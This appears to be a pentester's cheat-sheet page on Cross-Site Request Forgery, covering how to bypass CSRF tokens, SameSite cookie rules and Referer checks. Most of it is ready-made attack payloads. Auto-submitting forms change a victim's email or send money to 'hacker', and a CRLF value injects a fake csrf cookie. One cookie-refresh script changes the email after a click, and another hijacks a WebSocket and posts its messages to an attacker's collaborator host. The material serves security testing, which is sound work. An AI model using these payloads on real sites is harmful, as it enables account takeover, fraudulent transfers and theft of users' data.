CSRF
Cross-Site Request Forgery.
Allows an attacker to induce users to perform actions that they do not intend to perform.
Steps:
Check action
Check defences
CSRF tokens
Value to check
SameSite cookies
Referer-based validation
Use of the HTTP Referer header to attempt to defend
Right click on request > Engagement tools > Generate CSRF PoC.
Bypassing
CSRF base
Change request method GET/POST
Remove CSRF token
Use CSRF token of its own session
<form method="POST" action="https://vulnerable-website.com/my-account/change-email">
<input type="hidden" name="email" value="x@y">
</form>
<script>
document.forms[0].submit();
</script>
CSRF in header
Need to find a way to inject header.
%0d%0aSet-Cookie:%20csrf=FAKE%3b%20SameSite=None
CSRF sessions (es.
csrfKey
in cookie header andcsrf
in body) The CSRF session isn't associated with the user session. Try to inject and use CSRF header and token of its own session.CSRF token is duplicated in a cookie header Try to injectthe same CSRF token in cookie header and body.
SameSite Lax
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
In Symfony _method
takes precedence over the normal method.
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>
https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000&_method=POST'
Other frameworks support a variety of similar parameters.
Cookie Refresh
To avoid breaking single sign-on (SSO) mechanisms, SameSite Lax allows on top-level POST
requests in the first 120 seconds.
So you can trigger the cookie refresh from a new tab.
Browsers block popup tabs unless they're opened via a manual interaction.
<form method="POST" action="https://vulnerable-website.com/my-account/change-email">
<input type="hidden" name="email" value="x@y">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://vulnerable-website.com/login/sso');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
SameSite Strict
Find a gadget that results in a secondary request within the same site. One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters.
Referer Header
Some applications skip the validation if the header is omitted. The easiest way to do that is using a META tag within the HTML page that hosts the CSRF attack.
<meta name="referrer" content="never">
bypassing the naive way of checking
http://vulnerable-website.com.attacker-website.com/csrf-attack
http://attacker-website.com/csrf-attack?vulnerable-website.com
For pushing Referer header in Javascript
history.pushState("", "", "/?value-referer")
Many browsers now strip the query string from the Referer header by default as a security measure. To override this behavior and ensure that the full URL is included in the request add the following header to the "Head" section in webhook:
Referrer-Policy: unsafe-url
CSRF WebSocket hijacking
CSRF vulnerability on a WebSocket handshake. Unlike regular CSRF, the attacker gains two-way interaction with the compromised application. You typically need to find a handshake message that relies solely on HTTP cookies for session handling and doesn't employ any tokens or other unpredictable values in request parameters.
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url',
{method: 'POST', mode: 'no-cors', body: event.data}
);
};
</script>
Last updated
Was this helpful?